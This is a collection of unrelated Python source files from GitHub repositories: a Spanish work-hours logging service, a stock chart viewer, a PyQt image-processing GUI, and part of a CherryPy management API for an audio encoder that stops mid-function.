id_tarea = carga.id_tarea,\n id_recurso = carga.id_recurso\n )\n )\n\n return list_cargas\n\ndef get_cargas():\n cargas = RegistroDeHorasModel.select()\n return listar_cargas(cargas, \"No hay cargas de horas registradas\")\n\ndef get_cargas_id(id_registro_horas: int):\n carga = RegistroDeHorasModel.filter(RegistroDeHorasModel.id_registro_horas == id_registro_horas).first()\n\n if not carga:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"La carga de horas con el código ingresado no existe\"\n )\n\n return RegistroDeHorasSchema.RegistroDeHoras(\n nombre_proyecto=carga.nombre_proyecto,\n nombre_recurso=carga.nombre_recurso,\n nombre_tarea=carga.nombre_tarea,\n cantidad=carga.cantidad,\n fecha_trabajada=carga.fecha_trabajada,\n id_proyecto=carga.id_proyecto,\n id_recurso=carga.id_recurso,\n id_tarea=carga.id_tarea\n )\n\ndef get_cargas_proyecto(id: int):\n cargas = RegistroDeHorasModel.filter(RegistroDeHorasModel.id_proyecto == id)\n\n list_cargas = []\n for carga in cargas:\n list_cargas.append(\n RegistroDeHorasSchema.RegistroDeHorasCargar(\n nombre_proyecto=carga.nombre_proyecto,\n nombre_tarea=carga.nombre_tarea,\n nombre_recurso=carga.nombre_recurso,\n cantidad=carga.cantidad,\n fecha_trabajada=carga.fecha_trabajada,\n id_registro_horas=carga.id_registro_horas,\n id_proyecto = carga.id_proyecto,\n id_tarea = carga.id_tarea,\n id_recurso = carga.id_recurso\n )\n )\n\n return list_cargas\n\ndef get_cargas_tarea(id: int):\n cargas = RegistroDeHorasModel.filter(RegistroDeHorasModel.id_tarea == id)\n\n list_cargas = []\n for carga in cargas:\n list_cargas.append(\n RegistroDeHorasSchema.RegistroDeHorasCargar(\n nombre_proyecto=carga.nombre_proyecto,\n nombre_tarea=carga.nombre_tarea,\n nombre_recurso=carga.nombre_recurso,\n cantidad=carga.cantidad,\n fecha_trabajada=carga.fecha_trabajada,\n id_registro_horas=carga.id_registro_horas,\n id_proyecto = carga.id_proyecto,\n id_tarea = carga.id_tarea,\n id_recurso = carga.id_recurso\n )\n )\n\n return list_cargas\n\ndef get_cargas_recurso(id: int):\n\n carga = RegistroDeHorasModel.filter(RegistroDeHorasModel.id_recurso == id).first()\n \n if carga == None:\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"No existe el registro con el ID ingresado\"\n )\n\n return carga\n\ndef modificar_horas_cargadas(aumentar: bool, id_registro_horas: int, cantidad: int):\n carga = RegistroDeHorasModel.filter(RegistroDeHorasModel.id_registro_horas == id_registro_horas).first()\n\n if not carga:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"La carga de horas con el código ingresado no existe\"\n )\n\n if aumentar == True:\n carga.cantidad = carga.cantidad + cantidad\n else:\n carga.cantidad = carga.cantidad - cantidad\n\n carga.save()\n\n return RegistroDeHorasSchema.RegistroDeHoras(\n nombre_proyecto=carga.nombre_proyecto,\n nombre_recurso=carga.nombre_recurso,\n nombre_tarea=carga.nombre_tarea,\n cantidad=carga.cantidad,\n fecha_trabajada=carga.fecha_trabajada,\n id_proyecto=carga.id_proyecto,\n id_recurso=carga.id_recurso,\n id_tarea=carga.id_tarea\n )\n\ndef modificar_carga(id_registro_horas: int, carga_nueva: RegistroDeHorasSchema.RegistroDeHoras):\n\n if int(carga_nueva.cantidad) > 8 or int(carga_nueva.cantidad) < 1:\n raise CantidadInvalida()\n\n if TareaService.tareaTieneAsignado(carga_nueva.id_tarea, carga_nueva.id_recurso) == False:\n raise RecursoNoAsignado()\n \n carga = RegistroDeHorasModel.filter(RegistroDeHorasModel.id_registro_horas == id_registro_horas).first()\n\n if not carga:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"La carga de horas con el código ingresado no existe\"\n )\n\n carga.nombre_proyecto=carga_nueva.nombre_proyecto\n carga.nombre_recurso=carga_nueva.nombre_recurso\n carga.nombre_tarea=carga_nueva.nombre_tarea\n carga.cantidad=carga_nueva.cantidad\n carga.fecha_trabajada=carga_nueva.fecha_trabajada\n carga.id_proyecto=carga_nueva.id_proyecto\n carga.id_recurso=carga_nueva.id_recurso\n carga.id_tarea=carga_nueva.id_tarea\n\n carga.save()\n\n return RegistroDeHorasSchema.RegistroDeHorasCargar(\n nombre_proyecto=carga.nombre_proyecto,\n nombre_recurso=carga.nombre_recurso,\n nombre_tarea=carga.nombre_tarea,\n cantidad=carga.cantidad,\n fecha_trabajada=carga.fecha_trabajada,\n id_proyecto=carga.id_proyecto,\n id_recurso=carga.id_recurso,\n id_tarea=carga.id_tarea,\n id_registro_horas=carga.id_registro_horas\n )\n\ndef delete_carga(id_registro_horas: int):\n carga = RegistroDeHorasModel.filter(RegistroDeHorasModel.id_registro_horas == id_registro_horas).first()\n\n if not carga:\n raise RegistroNoExiste()\n\n carga.delete_instance()\n\ndef horasConsumidasDeRecurso(idTarea: int, legajo: int):\n try:\n cargas = get_cargas()\n except:\n return 0\n\n horasTotal = 0\n for carga in cargas:\n if carga.id_recurso == legajo & carga.id_tarea == idTarea:\n horasTotal = horasTotal + carga.cantidad\n\n return horasTotal\n\ndef horasRegistradas(idRegistro: int):\n try:\n carga = get_cargas_id(idRegistro)\n except:\n return 0\n\n return carga.cantidad","repo_name":"squad120221c/squad_1_2022_1c","sub_path":"src/main/service/RegistroDeHorasService.py","file_name":"RegistroDeHorasService.py","file_ext":"py","file_size_in_byte":10235,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25086094417","text":"import pandas as pd\nfrom matplotlib import pyplot as plt\n\nclass ChartView():\n def __init__(self, csv_path):\n data = pd.read_csv(csv_path)\n self.data = pd.DataFrame({\n \"datetime\": data[\"datetime_jst\"],\n \"close\": data[\"close\"]\n })\n self.data = self.data.set_index(\"datetime\")\n self.data.plot()\n plt.show()\n\n\n\nif __name__ == \"__main__\":\n view = ChartView(csv_path=\"dataset/7days_1min/3107.csv\")\n\n\n","repo_name":"shuri-takashima/stock-prediction","sub_path":"chart_view.py","file_name":"chart_view.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37096581323","text":"import cv2\nimport matplotlib\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QFileDialog, QMainWindow, QProgressBar, \\\n QInputDialog, QMessageBox\n\nfrom mainForm import Ui_MainWindow\nfrom view import Draw\n\nmatplotlib.use(\"Qt5Agg\")\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg\n\nimport Experiment_1 as tool_1\nimport Experiment_2 as tool_2\nimport Experiment_3 as tool_3\nfrom pca import PCA\nfrom pylab import *\n\n# 图像上显示中文\nmpl.rcParams['font.sans-serif'] = ['SimHei']\n\n\ndef draw_img_plt(img_array, title=[]):\n size = len(img_array)\n figure = EmbedFigure()\n for i in range(1, size + 1):\n figure.axes1 = figure.fig.add_subplot(1, size, i)\n if len(img_array[i - 1].shape) == 2:\n figure.axes1.imshow(img_array[i - 1], cmap='gray')\n else:\n img_array[i - 1] = cv2.cvtColor(img_array[i - 1].copy(), cv2.COLOR_BGR2RGB)\n figure.axes1.imshow(img_array[i - 1])\n if len(title):\n figure.axes1.set_title(title[i - 1])\n # width, height = self.result_img_graphicsView.width(), self.result_img_graphicsView.height()\n # figure.resize(width, height)\n return figure\n\n\nclass win(QMainWindow, Ui_MainWindow):\n def __init__(self):\n # 初始化\n super().__init__()\n self.old_hook = sys.excepthook\n sys.excepthook = self.catch_exceptions\n\n self.setWindowTitle('图像处理')\n self.setupUi(self)\n self.progressBar = ProgressBar()\n self.statusBar.addPermanentWidget(self.progressBar)\n # action\n self.open.triggered.connect(self.open_img)\n self.save.triggered.connect(self.save_img)\n self.reverse_color.triggered.connect(self.Reverse_color)\n self.hist.triggered.connect(self.Hist)\n self.OTSU.triggered.connect(self.Otsu)\n self.spin.triggered.connect(self.Spin)\n self.gray.triggered.connect(self.Gray)\n self.iterate.triggered.connect(self.Iterate)\n self.threshold.triggered.connect(self.Threshold)\n self.line.triggered.connect(self.Line)\n self.circle.triggered.connect(self.Circle)\n self.rect.triggered.connect(self.Rect)\n self.text.triggered.connect(self.Text)\n self.laplace.triggered.connect(self.Laplace)\n self.sobel.triggered.connect(self.Sobel)\n self.median.triggered.connect(self.Median)\n self.middle.triggered.connect(self.Middle)\n self.maxf.triggered.connect(self.Maxf)\n self.minf.triggered.connect(self.Minf)\n self.sharpen.triggered.connect(self.Sharpen)\n self.dilate.triggered.connect(self.Dilate)\n self.erode.triggered.connect(self.Erode)\n self.opening.triggered.connect(self.Opening)\n self.closing.triggered.connect(self.Closing)\n self.region_grow.triggered.connect(self.RegionGrow)\n\n # 全局变量\n self.pca = PCA()\n self.origin = np.array([])\n self.mode_img = False\n self.result = np.array([])\n self.mode_result = False\n\n # 多图像展示\n\n # 直方图绘制\n def draw_plt(self, img):\n if not len(img):\n return False\n if len(img.shape) == 3:\n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n img = img.flatten()\n figure = EmbedFigure(width=5, height=4, dpi=100)\n figure.axes1 = figure.fig.add_subplot(111)\n figure.axes1.hist(img, bins=256, range=(0, 255), histtype='stepfilled', align='left')\n figure.axes1.set_title(\"hist\")\n\n width, height = self.result_img_graphicsView.width(), self.result_img_graphicsView.height()\n figure.resize(width, height)\n return figure\n\n # 按钮槽函数\n def PCA_clicked(self):\n self.start(\"PCA\")\n if len(self.origin):\n result_image, name = self.pca.identify(self.pca.img_process(self.origin.copy()))\n self.result_img_graphicsView.set_img(draw_img_plt([result_image], [name]))\n self.end(\"识别结果: \" + name)\n else:\n self.end(\"空目标,PCA无效\")\n\n def multiple_PCA_clicked(self):\n self.start(\"多目标PCA\")\n if len(self.origin):\n img, faces = self.pca.face_detect(self.origin)\n if len(faces):\n result_images = []\n result_names = []\n self.origin = img\n self.origin_flash()\n for (x, y, w, h) in faces:\n result_img, name = self.pca.identify(self.pca.img_process(img[y:y + w, x:x + h]))\n result_images.extend([result_img])\n result_names.extend([name])\n self.result_img_graphicsView.set_img(draw_img_plt(result_images, result_names))\n self.end()\n else:\n self.end(\"未检测到目标\")\n else:\n self.end(\"空目标,PCA无效\")\n\n def origin_switch_clicked(self):\n if len(self.origin) == 0:\n return\n if self.mode_img:\n self.origin_img_graphicsView.set_img(self.origin)\n else:\n self.origin_img_graphicsView.set_img(self.draw_plt(self.origin))\n self.mode_img = not self.mode_img\n\n def result_switch_clicked(self):\n if len(self.result) == 0:\n return\n if self.mode_result:\n self.result_flash()\n else:\n self.result_img_graphicsView.set_img(self.draw_plt(self.result))\n print(\"直方图!\")\n self.mode_result = not self.mode_result\n\n def result_reset_clicked(self):\n if len(self.result) == 0:\n return\n self.result = self.origin\n self.result_flash()\n\n # 刷新图像\n def result_flash(self):\n self.result_img_graphicsView.set_img(self.result)\n\n def origin_flash(self):\n self.origin_img_graphicsView.set_img(self.origin)\n\n # 文件操作action\n def save_img(self):\n result = self.result\n if len(result):\n filepath, _ = QFileDialog.getSaveFileName(self, \"保存处理结果\", \"/\", '*.png *.jpg *.bmp')\n if filepath:\n print(filepath)\n cv2.imwrite(filepath, result)\n\n def open_img(self):\n self.start(\"打开\")\n fileName, _ = QFileDialog.getOpenFileName(\n self, '打开图像', '', '*.png *.jpg *.bmp')\n if fileName:\n self.origin = self.result = np.array(cv2.imdecode(np.fromfile(fileName, dtype=np.uint8), -1))\n self.origin_img_graphicsView.set_img(self.origin)\n self.result_img_graphicsView.set_img(self.origin)\n self.end()\n return\n\n # 调用action\n def Line(self):\n self.start(\"绘制直线\")\n self.result_img_graphicsView.scene.paint_graph_init(Draw.line)\n self.end()\n\n def Circle(self):\n self.start(\"绘制圆\")\n self.result_img_graphicsView.scene.paint_graph_init(Draw.circle)\n self.end()\n\n def Rect(self):\n self.start(\"绘制矩形\")\n self.result_img_graphicsView.scene.paint_graph_init(Draw.rect)\n self.end()\n\n def Text(self):\n self.start(\"绘制文字\")\n self.result_img_graphicsView.scene.paint_graph_init(Draw.text)\n self.end()\n\n def processing(self, method):\n self.start(\"处理中\")\n # 图像不为空\n if len(self.result):\n self.result = method(self.result.copy())\n self.result_flash()\n self.end()\n\n def Reverse_color(self):\n self.processing(tool_1.img_color_reverse)\n\n def Hist(self):\n self.processing(tool_1.histogram_equalization)\n\n def Otsu(self):\n self.processing(tool_3.OTSU)\n QMessageBox(QMessageBox.Warning, '危险!', '您刚刚进行了阈值操作,这意味着现在这是一张灰度图,可能无法进行RGB有关的处理').exec_()\n\n def Spin(self):\n self.processing(tool_1.img_horizontal_reverse)\n\n def Gray(self):\n if len(self.result):\n self.result = cv2.cvtColor(self.result.copy(), cv2.COLOR_BGR2GRAY)\n self.result_flash()\n\n def Iterate(self):\n self.processing(tool_3.Iterate_Thresh)\n QMessageBox(QMessageBox.Warning, '危险!', '您刚刚进行了阈值操作,这意味着现在这是一张灰度图,可能无法进行RGB有关的处理').exec_()\n\n def Threshold(self):\n self.start()\n if len(self.result):\n self.origin_switch_clicked()\n threshold, ok = QInputDialog.getInt(self, '阈值', '输入阈值', 127, 0, 255, 1)\n if ok and threshold:\n self.result = cv2.threshold(cv2.cvtColor(self.result.copy(), cv2.COLOR_BGR2GRAY),\n threshold, 255, cv2.THRESH_BINARY)[1]\n self.result_flash()\n self.origin_switch_clicked()\n QMessageBox(QMessageBox.Warning, '危险!', '您刚刚进行了阈值操作,这意味着现在这是一张灰度图,可能无法进行RGB有关的处理').exec_()\n self.end()\n\n def Laplace(self):\n self.processing(tool_2.Laplace)\n\n def Sobel(self):\n self.processing(tool_2.Sobel)\n\n def Sharpen(self):\n self.processing(tool_2.sharpen)\n\n def filter(self, method):\n self.start(\"滤波处理中\")\n if len(self.result):\n size, ok = QInputDialog.getInt(self, 'kernel', '输入滤波核大小', 3, 3, 11, 2)\n if ok and size >= 3 and size % 2:\n self.result = method(self.result.copy(), size)\n self.result_flash()\n else:\n QMessageBox(QMessageBox.Warning, '意外输入', '核不合法!核应该 >=3 并 是奇数').exec_()\n self.end()\n\n def Median(self):\n self.filter(tool_2.median_filter)\n\n def Middle(self):\n self.filter(tool_2.middle_filter)\n\n def Maxf(self):\n self.filter(tool_2.max_filter)\n\n def Minf(self):\n self.filter(tool_2.min_filter)\n\n def Dilate(self):\n self.start()\n if len(self.result):\n size, ok = QInputDialog.getInt(self, 'kernel', '输入滤波核大小', 3, 3, 11, 2)\n if ok and size >= 3 and size % 2:\n kernel = np.ones((size, size), dtype=np.uint8)\n self.result = cv2.dilate(self.result.copy(), kernel, iterations=1)\n self.result_flash()\n else:\n QMessageBox(QMessageBox.Warning, '意外输入', '核不合法!核应该是奇数').exec_()\n self.end()\n\n def Erode(self):\n self.start()\n if len(self.result):\n size, ok = QInputDialog.getInt(self, 'kernel', '输入滤波核大小', 3, 3, 11, 2)\n if ok and size >= 3 and size % 2:\n kernel = np.ones((size, size), dtype=np.uint8)\n self.result = cv2.erode(self.result.copy(), kernel, iterations=1)\n self.result_flash()\n else:\n QMessageBox(QMessageBox.Warning, '意外输入', '核不合法!核应该是奇数').exec_()\n self.end()\n\n def Opening(self):\n self.start()\n if len(self.result):\n size, ok = QInputDialog.getInt(self, 'kernel', '输入滤波核大小', 3, 3, 11, 2)\n if ok and size >= 3 and size % 2:\n kernel = np.ones((size, size), dtype=np.uint8)\n self.result = cv2.morphologyEx(self.result.copy(), cv2.MORPH_OPEN, kernel, iterations=1)\n self.result_flash()\n else:\n QMessageBox(QMessageBox.Warning, '意外输入', '核不合法!核应该是奇数').exec_()\n self.end()\n\n def Closing(self):\n self.start()\n if len(self.result):\n size, ok = QInputDialog.getInt(self, 'kernel', '输入滤波核大小', 3, 3, 11, 2)\n if ok and size >= 3 and size % 2:\n kernel = np.ones((size, size), dtype=np.uint8)\n self.result = cv2.morphologyEx(self.result.copy(), cv2.MORPH_CLOSE, kernel, iterations=1)\n self.result_flash()\n else:\n QMessageBox(QMessageBox.Warning, '意外输入', '核不合法!核应该是奇数').exec_()\n self.end()\n\n def RegionGrow(self):\n self.processing(tool_3.regionGrow)\n\n # 功能函数\n def catch_exceptions(self, ty, value, traceback):\n \"\"\"\n 捕获异常,并弹窗显示\n :param ty: 异常的类型\n :param value: 异常的对象\n :param traceback: 异常的traceback\n \"\"\"\n # traceback_format = traceback.format_exception(ty, value, traceback)\n # traceback_string = \"\".join(traceback_format)\n # QMessageBox(QMessageBox.Critical, \"An exception was raised\", \"{}\".format(ty.err)).exec_()\n QMessageBox(QMessageBox.Critical, '错误', '抱歉,我们出现了错误,这可能是不当的操作顺序造成的\\n'\n + '已恢复操作前状态,有需要请联系开发人员').exec_()\n self.end(\"Error\")\n self.old_hook(ty, value, traceback)\n\n def start(self, msg=\"执行中\"):\n self.progressBar.reset()\n self.statusBar.showMessage(msg)\n self.progressBar.busy()\n\n def end(self, msg=\"Done\"):\n self.progressBar.done()\n self.statusBar.showMessage(msg)\n\n\n# 重写一个matplotlib图像绘制类\nclass EmbedFigure(FigureCanvasQTAgg):\n def __init__(self, width=5, height=4, dpi=200):\n # 1、创建一个绘制窗口Figure对象\n self.fig = Figure(figsize=(width, height), dpi=dpi)\n # 2、在父类中激活Figure窗口,同时继承父类属性\n super(EmbedFigure, self).__init__(self.fig)\n\n\nclass ProgressBar(QProgressBar):\n def __init__(self, parent=None, step=8):\n super().__init__(parent)\n self.step = step\n self.setRange(0, step) # 设置进度条的范围\n\n def done(self):\n self.setMaximum(self.step)\n self.setValue(self.step)\n\n def busy(self):\n self.setMaximum(0)\n self.setMinimum(0)\n\n\nif __name__ == '__main__':\n a = QtWidgets.QApplication(sys.argv)\n window = win()\n window.show()\n sys.exit(a.exec_())\n","repo_name":"Son4ta/Picture-Processing-with-GUI","sub_path":"GUI/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":14202,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"561862221","text":"import json\nimport cherrypy\nfrom cherrypy.lib.httputil import parse_query_string\n\n\nimport urllib\nimport os\n\nimport sys\nif sys.version_info >= (3, 0):\n from xmlrpc import client as xmlrpc_client\nelse:\n import xmlrpclib as xmlrpc_client\n\nfrom config import Config\nfrom auth import AuthController, require, is_login\nfrom avt import AVT\n\nimport subprocess\nimport io\nimport zipfile\nimport datetime\nimport shutil\n\nimport hashlib\nimport codecs\nimport re\nimport uuid\n\nimport socket\nimport yaml\nimport math\nimport time\n\nclass API():\n\n def __init__(self, config_file):\n self.config_file = config_file\n self.conf = Config(self.config_file)\n self.auth = AuthController(self.conf.config['auth'])\n\n\n # all methods in this controller (and subcontrollers) is\n # open only to members of the admin group\n\n @cherrypy.expose\n def index(self):\n cherrypy.response.headers['content-type'] = \"text/plain\"\n return \"\"\"This is the api area.\"\"\"\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def info(self):\n encodermanager_version = subprocess.check_output([\"git\", \"describe\"]).strip().decode('UTF-8')\n python_version = \"{0}.{1}.{2}\".format(sys.version_info.major, sys.version_info.minor, sys.version_info.micro)\n\n return { 'status': '0', 'statusText': 'Ok',\n 'version': { 'odr-encodermanager': encodermanager_version,\n 'python': python_version\n }}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getAVTStatus(self, **params):\n def is_valid_ip(ip):\n m = re.match(r\"^(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})$\", ip)\n return bool(m) and all(map(lambda n: 0 <= int(n) <= 255, m.groups()))\n\n query = parse_query_string(cherrypy.request.query_string)\n\n if 'ip' in query:\n if is_valid_ip(query['ip']):\n avt = AVT(snmp_host=query['ip'])\n avt_get = avt.getAll()\n if avt_get['status'] == 0:\n return {'status': '0', 'statusText': 'Ok', 'data': avt_get['data']}\n else:\n return {'status': avt_get['status'], 'statusText': avt_get['statusText'], 'data': avt_get['data']}\n else:\n return {'status': '-241', 'statusText': 'Invalid AVT IP parameter', 'data': ''}\n else:\n return {'status': '-242', 'statusText': 'Missing AVT IP parameter', 'data': ''}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def reboot(self):\n command = 'sudo /sbin/shutdown -r now'\n p_status = subprocess.call(command, shell=True)\n\n if int(p_status) != 0:\n return {'status': '-299', 'statusText': 'Can not process reboot - %s ' % (int(p_status))}\n else:\n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n @require()\n def backup(self):\n self.conf = Config(self.config_file)\n result = io.BytesIO()\n zipped = zipfile.ZipFile(result, mode = 'w', compression = zipfile.ZIP_DEFLATED)\n zipped.writestr('config.json', json.dumps(self.conf.config, indent=4, separators=(',', ': ')))\n zipped.close()\n result.seek(0)\n datefile = datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n cherrypy.response.headers['content-type'] = 'application/octet-stream'\n cherrypy.response.headers['content-disposition'] = 'attachment; filename=backup-%s.zip' % (datefile)\n return result\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def restore(self, myFile):\n self.conf = Config(self.config_file)\n size = 0\n data = myFile.file.read()\n size += len(data)\n\n localfile = '/tmp/'+myFile.filename\n file = open (localfile, 'wb')\n file.write(data)\n file.close()\n\n if zipfile.is_zipfile(localfile):\n # Open local ZIP file and extract config.json file\n fh = open( localfile , 'rb')\n zipped = zipfile.ZipFile(fh)\n for name in zipped.namelist():\n if name == 'config.json':\n zipped.extract(name, '/tmp/')\n fh.close()\n\n # Remove ZIP file\n try:\n os.remove(localfile)\n except Exception as e:\n pass\n\n # Read tmp config.json file\n with open('/tmp/config.json') as data_file:\n output = json.load(data_file)\n\n # Remove config.json file\n try:\n os.remove('/tmp/config.json')\n except Exception as e:\n pass\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-221', 'statusText': 'Error when writing configuration file: ' + str(e)}\n\n # Generate supervisor files\n try:\n self.conf.generateSupervisorFiles(output)\n except Exception as e:\n return {'status': '-222', 'statusText': 'Error generating supervisor files: ' + str(e)}\n\n # Generate network files\n try:\n self.conf.generateNetworkFiles(output)\n except Exception as e:\n return {'status': '-223', 'statusText': 'Error when writing network file: ' + str(e)}\n\n\n # Check configuration file\n try:\n self.conf.checkConfigurationFile()\n except Exception as e:\n return {'status': '-224', 'statusText': 'Error: ' + str(e)}\n\n # Check process and add/remove if necessary\n try:\n self.conf.checkSupervisorProcess()\n except Exception as e:\n return {'status': '-225', 'statusText': 'Error: ' + str(e)}\n\n return {'status': '0', 'statusText': 'Ok'}\n else:\n return {'status': '-200', 'statusText': 'Uploaded file is not a zip file'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getNetworkDNS(self, **params):\n self.conf = Config(self.config_file)\n query = parse_query_string(cherrypy.request.query_string)\n data = self.conf.config['global']['network']['dns']\n return {'status': '0', 'statusText': 'Ok', 'data': data}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def setNetworkDNS(self):\n self.conf = Config(self.config_file)\n\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n param = json.loads(rawbody.decode('utf-8'))\n\n output = { 'global': self.conf.config['global'], 'auth': self.conf.config['auth'], 'odr': self.conf.config['odr'] }\n\n output['global']['network']['dns'] = param\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing configuration file: ' + str(e)}\n\n\n # Generate network files\n try:\n self.conf.generateNetworkFiles(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing network file: ' + str(e)}\n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getNetworkNTP(self, **params):\n self.conf = Config(self.config_file)\n query = parse_query_string(cherrypy.request.query_string)\n data = self.conf.config['global']['network']['ntp']\n return {'status': '0', 'statusText': 'Ok', 'data': data}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def setNetworkNTP(self):\n self.conf = Config(self.config_file)\n\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n param = json.loads(rawbody.decode('utf-8'))\n\n output = { 'global': self.conf.config['global'], 'auth': self.conf.config['auth'], 'odr': self.conf.config['odr'] }\n\n output['global']['network']['ntp'] = param\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing configuration file: ' + str(e)}\n\n\n # Generate network files\n try:\n self.conf.generateNetworkFiles(output)\n except Exception as e:\n return {'status': '-201', 'statusText': 'Error when writing network file: ' + str(e)}\n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def restartNTP(self):\n command = 'sudo /bin/systemctl restart ntp'\n p_status = subprocess.call(command, shell=True)\n\n if int(p_status) != 0:\n return {'status': '-299', 'statusText': 'Can not process restart - %s ' % (int(p_status))}\n else:\n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getNetworkCards(self, **params):\n self.conf = Config(self.config_file)\n query = parse_query_string(cherrypy.request.query_string)\n\n if 'card' in query:\n data={}\n for card in self.conf.config['global']['network']['cards']:\n if card['card'] == query['card']:\n data=card\n else:\n data = self.conf.config['global']['network']['cards']\n\n return {'status': '0', 'statusText': 'Ok', 'data': data}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def setNetworkCard(self):\n self.conf = Config(self.config_file)\n\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n param = json.loads(rawbody.decode('utf-8'))\n\n output = { 'global': self.conf.config['global'], 'auth': self.conf.config['auth'], 'odr': self.conf.config['odr'] }\n\n change = False\n for i,value in enumerate(output['global']['network']['cards']):\n if value['card'] == param['card']:\n output['global']['network']['cards'][i]['dhcp'] = param['dhcp']\n output['global']['network']['cards'][i]['ip'] = param['ip']\n output['global']['network']['cards'][i]['netmask'] = param['netmask']\n output['global']['network']['cards'][i]['gateway'] = param['gateway']\n output['global']['network']['cards'][i]['route'] = param['route']\n change = True\n if not change:\n return {'status': '-231', 'statusText': 'Card not found'}\n\n # Write configuration file\n try:\n self.conf.write(output)\n except Exception as e:\n return {'status': '-232', 'statusText': 'Error when writing configuration file: ' + str(e)}\n\n\n # Generate network files\n try:\n self.conf.generateNetworkFiles(output)\n except Exception as e:\n return {'status': '-233', 'statusText': 'Error generating network files' + str(e)}\n return {'status': '0', 'statusText': 'Ok'}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getConfig(self, **params):\n query = parse_query_string(cherrypy.request.query_string)\n self.conf = Config(self.config_file)\n\n if 'uniq_id' in query:\n output = {}\n for data in self.conf.config['odr']:\n if data['uniq_id'] == query['uniq_id']:\n output = data\n if 'uniq_id' in output:\n # Set default value\n if 'source' not in output:\n output['source'] = {\n 'type': 'stream',\n 'driftcomp': 'true',\n 'silence_detect': 'true',\n 'silence_duration': '60',\n 'alsa_device': 'plughw:1,0',\n 'stream_url': '',\n 'stream_writeicytext': 'true',\n 'avt_input_uri': 'udp://:32010',\n 'avt_control_uri': 'udp://192.168.128.111:9325',\n 'avt_pad_port': '9405',\n 'avt_jitter_size': '80',\n 'avt_timeout': '4000',\n 'aes67_sdp_file': '/var/tmp/'+output['uniq_id']+'.sdp',\n 'aes67_sdp': ''\n }\n if 'output' not in output:\n output['output'] = {\n 'type': 'dabp',\n 'bitrate': '88',\n 'channels': '2',\n 'samplerate': '48000',\n 'dabp_sbr': 'true',\n 'dabp_afterburner': 'true',\n 'dabp_ps': 'false',\n 'dab_dabmode': 'j',\n 'dab_dabpsy': '1',\n 'output': [],\n 'zmq_key': ''\n }\n if 'padenc' not in output:\n output['padenc'] = {\n 'enable': 'true',\n 'slide_sleeping': '0',\n 'slide_directory': '/var/tmp/slide-'+output['uniq_id']+'/',\n 'dls_file': '/var/tmp/metadata-'+output['uniq_id']+'.dls',\n 'pad': '34',\n 'slide_once': 'true',\n 'raw_dls': 'false',\n 'raw_slides': 'false',\n 'uniform_label': '12',\n 'uniform_label_ins': '1200'\n }\n\n if 'path' not in output:\n output['path'] = {\n 'encoder_path': '/usr/local/bin/odr-audioenc',\n 'padenc_path': '/usr/local/bin/odr-padenc',\n 'sourcecompanion_path': '/usr/local/bin/odr-sourcecompanion',\n 'zmq_key_tmp_file': '/var/tmp/zmq-'+output['uniq_id']+'.key'\n }\n\n return {'status': '0', 'statusText': 'Ok', 'data': output}\n else:\n return {'status': '-299', 'statusText': 'coder not found', 'data': {}}\n else:\n return {'status': '-298', 'statusText': 'you have to specify uniq_id', 'data': {}}\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def getVersion(self, **params):\n query = parse_query_string(cherrypy.request.query_string)\n self.conf = Config(self.config_file)\n\n if 'uniq_id' in query:\n odr = {}\n for data in self.conf.config['odr']:\n if data['uniq_id'] == query['uniq_id']:\n odr = data\n \n if 'uniq_id' in odr:\n if 'path' in odr:\n output = {}\n \n for process_path in odr['path']:\n if process_path.endswith(\"_path\"):\n if os.path.isfile(odr['path'][process_path]):\n output[\"{process}_version\".format(process=process_path)] = 'found'\n cmd = [odr['path'][process_path], '--version']\n try:\n result = subprocess.check_output(cmd, universal_newlines=True)\n result = result.replace('\\n','')\n except:\n output[\"{process}_version\".format(process=process_path)] = 'error'\n else:\n output[\"{process}_version\".format(process=process_path)] = result\n else:\n output[\"{process}_version\".format(process=process_path)] = 'not found'\n \n \n else:\n return 